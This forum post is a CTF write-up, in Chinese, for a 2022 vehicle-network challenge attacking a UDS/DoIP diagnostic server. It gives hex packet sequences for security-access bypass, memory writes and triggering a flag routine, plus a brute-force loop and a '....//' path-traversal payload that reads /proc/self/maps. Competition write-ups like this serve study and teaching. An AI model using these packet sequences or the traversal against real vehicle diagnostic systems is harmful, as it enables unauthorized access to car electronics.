首页
社区
课程
招聘
[原创]2022数字中国车联网安全CTF writeup - uds_server
发表于: 2022-7-25 23:17 18750

[原创]2022数字中国车联网安全CTF writeup - uds_server

2022-7-25 23:17
18750

这是一道uds诊断协议的逆向题。比赛的时候时间太短没做出来,又花时间研究了一下拿出来分享。

uds_server

1、注册,使客户端能访问uds服务

2、构造满足UdsRoutineControlService的条件

3、backdoorMem取值范围0x123000-0xfffff000后三位固定为0。
4、通过UdsWriteMemoryByAddressService向0x125000写入内存deadbeef
5、n随机区间[0~1048284] 多进程循环调用直到 n==2 backdoormem=0x125000
6、调用UdsRoutineControlService

19

调用handleRoutingActivationMessage
11
12

需要满足的条件

启动多个该脚本同时进行。增加并发减小爆破时间。

patch Server初始化中random返回结果
20
21
23
22

将randomNum返回值修改为0x125000

正常情况下这样爆破是没问题的,但我一直在想这是CTF没有那么多时间让你爆破,肯定还有其他办法。得知....//....//可以路径穿越后。
又有了攻击思路:

调用getflag
33

成功获取flag

服务号 服务名称
0x10 UdsSessionControlService
0x27 UdsSecurityAccessService
0x31 UdsRoutineControlService
0x36 UdsTransferDataService
0x37 UdsRequestTransferExitService
0x38 UdsRequestFileTransferService
0x3d UdsWriteMemoryByAddressService
doip协议
protocolVersion inverseProtocolVersion dataType length userdata
1字节 1字节 2字节 4字节 任意长度
0x02 0xfd 0x5 0x8 0x8001 4字节 任意长度
注册协议
1字节 1字节 type 2字节 length 4字节 ActivationType 1字节 sourceAddres 2字节 8字节
0x02 0xfd 0x5 0x00 0x00 0x00 0x0b 0x00 0x01 0x00 0x00*8
session协议
1字节 1字节 type 2字节 length 4字节 srcaddr 2字节 dstaddr 2字节 服务号 1字节 sessionid 1字节
0x02 0xfd 0x8001 0x00 0x00 0x00 0x06 0x00 0x01 0x01 0x00 0x10 0x03
0x02 0xfd 0x8001 0x00 0x00 0x00 0x06 0x00 0x01 0x01 0x00 0x10 0x02
security协议
1字节 1字节 type 2字节 length 4字节 srcaddr 2字节 dstaddr 2字节 服务号 1字节 accessType 1字节 Key 4字节
0x02 0xfd 0x8001 0x00 0x00 0x00 0x06 0x00 0x01 0x01 0x00 0x27 0x01
0x02 0xfd 0x8001 0x00 0x00 0x00 0x0A 0x00 0x01 0x01 0x00 0x10 0x02 根据seed计算的key
writememory协议
1字节 1字节 type 2字节 length 4字节 srcaddr 2字节 dstaddr 2字节 服务号 1字节 memSizeLen&memAddrLen 1字节 address 写入内容长度 1字节 写入内容
0x02 0xfd 0x8001 0x00 0x00 0x00 0x0F 0x00 0x01 0x01 0x00 0x3d 0x14 0x00 0x00 0x20 0x00 0x04 0xef 0xbe 0xad 0xde
getflag协议
1字节 1字节 type 2字节 length 4字节 srcaddr 2字节 dstaddr 2字节 服务号 1字节 controlType 1字节 Identifier 2字节
0x02 0xfd 0x8001 0x00 0x00 0x00 0x08 0x00 0x01 0x01 0x00 0x31 0x01 0xba 0xc4
#!/bin/bash
for((i=1;i<1000000;i++));
do
./uds;
done
#!/bin/bash
for((i=1;i<1000000;i++));
do
./uds;
done
#!/bin/sh
echo hello
#!/bin/sh
echo hello
设置读取文件协议
1字节 1字节 type 2字节 length 4字节 srcaddr 2字节 dstaddr 2字节 服务号 1字节 modeOfOperation 1字节 filePathAndNameLength 2字节 filePath compressionMethod encryptingMethod 1字节
0x02 0xfd 0x8001 0x00 0x00 0x00 0x23 0x00 0x01 0x01 0x00 0x38 0x04 0x00 0x1a ....//....//proc/self/maps 随便1字节
读取文件协议
1字节 1字节 type 2字节 length 4字节 srcaddr 2字节 dstaddr 2字节 服务号 1字节 blockSequenceCounter 1字节
0x02 0xfd 0x8001 0x00 0x00 0x00 0x06 0x00 0x01 0x01 0x00 0x36 0x01
服务号 服务名称
0x10 UdsSessionControlService
0x27 UdsSecurityAccessService
0x31 UdsRoutineControlService
0x36 UdsTransferDataService
0x37 UdsRequestTransferExitService
0x38 UdsRequestFileTransferService
0x3d UdsWriteMemoryByAddressService
doip协议
protocolVersion inverseProtocolVersion dataType length userdata
1字节 1字节 2字节 4字节 任意长度
0x02 0xfd 0x5 0x8 0x8001 4字节 任意长度
注册协议
1字节 1字节 type 2字节 length 4字节 ActivationType 1字节 sourceAddres 2字节 8字节
0x02 0xfd 0x5 0x00 0x00 0x00 0x0b 0x00 0x01 0x00 0x00*8
session协议
1字节 1字节 type 2字节 length 4字节 srcaddr 2字节 dstaddr 2字节 服务号 1字节 sessionid 1字节
0x02 0xfd 0x8001 0x00 0x00 0x00 0x06 0x00 0x01 0x01 0x00 0x10 0x03
0x02 0xfd 0x8001 0x00 0x00 0x00 0x06 0x00 0x01 0x01 0x00 0x10 0x02
security协议
1字节 1字节 type 2字节 length 4字节 srcaddr 2字节 dstaddr 2字节 服务号 1字节 accessType 1字节 Key 4字节
0x02 0xfd 0x8001 0x00 0x00 0x00 0x06 0x00 0x01 0x01 0x00 0x27 0x01
0x02 0xfd 0x8001 0x00 0x00 0x00 0x0A 0x00 0x01 0x01 0x00 0x10 0x02 根据seed计算的key
writememory协议
1字节 1字节 type 2字节 length 4字节 srcaddr 2字节 dstaddr 2字节 服务号 1字节 memSizeLen&memAddrLen 1字节 address 写入内容长度 1字节 写入内容
0x02 0xfd 0x8001 0x00 0x00 0x00 0x0F 0x00 0x01 0x01 0x00 0x3d 0x14 0x00 0x00 0x20 0x00 0x04 0xef 0xbe 0xad 0xde
getflag协议
1字节 1字节 type 2字节 length 4字节 srcaddr 2字节 dstaddr 2字节 服务号 1字节 controlType 1字节 Identifier 2字节
0x02 0xfd 0x8001 0x00 0x00 0x00 0x08 0x00 0x01 0x01 0x00 0x31 0x01 0xba 0xc4
1
2
3
4
5
#!/bin/bash
for((i=1;i<1000000;i++));
do
./uds;
done
1
2
#!/bin/sh
echo hello
设置读取文件协议
1字节 1字节 type 2字节 length 4字节 srcaddr 2字节 dstaddr 2字节 服务号 1字节 modeOfOperation 1字节 filePathAndNameLength 2字节 filePath compressionMethod encryptingMethod 1字节
0x02 0xfd 0x8001 0x00 0x00 0x00 0x23 0x00 0x01 0x01 0x00 0x38 0x04 0x00 0x1a ....//....//proc/self/maps 随便1字节
读取文件协议
1字节 1字节 type 2字节 length 4字节 srcaddr 2字节 dstaddr 2字节 服务号 1字节 blockSequenceCounter 1字节
0x02 0xfd 0x8001 0x00 0x00 0x00 0x06 0x00 0x01 0x01 0x00 0x36 0x01
  • main
    1
  • 启动后监听13400端口
  • 接收client请求
  • 启动Server
    2
  • Server初始化后进入loop
    3
  • 接收处理客户端发送的请求
    4
  • 其中handleRoutingActivationMessage函数负责注册
  • 注册后可以调用提供的service
    5
  • jmp rax跳转到不同的服务
    6
  • 所提供的服务如下
    7
  • UdsRequestFileTransferService
    8
    构造满足的条件后,我们传送的路径字符串会拼接到/tmp/data/后面。同时过滤../。
  • UdsRoutineControlService
    9
    这个函数从getflag这看起来就像目标函数,要求的条件很多。
    唯一一个不可控因素backdoorMem是random出来的。
    10
    可以通过UdsWriteMemoryByAddressService写内存。
  • sourceAddress=0x1
  • targetAddress=0x100
  • securityLevel=1
  • currentSession=2
  • retineControlType=1
  • routineIdentifier=0xbac4
  • backdoorMem地址中内容为0xdeadbeef
  • 调用handleRoutingActivationMessage
    11
    12

  • 需要满足的条件

    • activationType=0
    • sourceAddress=1
  • activationType=0
  • sourceAddress=1
  • 执行后 hasRegisterd=1
  • 调用UdsSessionControlService
    13
  • 需要先将currentSession设置成3 保证下次设置2的时候可以走else分支
  • 调用UdsSecurityAccessService
  • 请求seed
    14
  • 根据seed计算key
    15
  • seed进行变换后调用xteaEncryptGetKey进行加密计算key
  • 相等的话设置securityLevel=1
  • 调用UdsWriteMemoryByAddressService
    16
    17
  • 设置memoryAddress为0x2000 0x123000+0x2000=0x125000
  • 设置写入的内容为0xdeadbeef
  • 判断是否有返回,有返回则写入成功

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-7-26 11:30 被scxc编辑 ,原因: 忘写标题
上传的附件:
收藏
免费 12
支持
分享
打赏 + 150.00雪花
打赏次数 1 雪花 + 150.00
 
赞赏  Editor   +150.00 2022/08/15 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (8)
雪    币: 2907
活跃值: (1301)
能力值: ( LV12,RANK:215 )
在线值:
发帖
回帖
粉丝
2

嘻嘻

最后于 2023-3-20 14:26 被scxc编辑 ,原因: 无
2022-7-25 23:31
0
雪    币: 4034
活跃值: (2223)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3

表哥NB

最后于 2022-7-26 10:02 被Umiade编辑 ,原因:
2022-7-26 10:02
0
雪    币: 6573
活跃值: (3943)
能力值: (RANK:200 )
在线值:
发帖
回帖
粉丝
4
 牛
2022-7-26 11:41
0
雪    币: 198
活跃值: (548)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
2022-7-26 14:19
0
雪    币: 240
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
6
大哥太猛了
2022-7-26 15:27
0
雪    币: 1044
活跃值: (1273)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
想起了某次比赛,拿到了比赛服务器root权限,服务器全盘搜flag,直接找到一半题目的flag
2022-7-26 16:38
0
雪    币: 257
活跃值: (82)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
恐怖如斯,学到了学到了。
2022-7-26 22:11
0
雪    币: 237
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
9
太强了
2024-10-28 10:28
0
游客
登录 | 注册 方可回帖
返回
//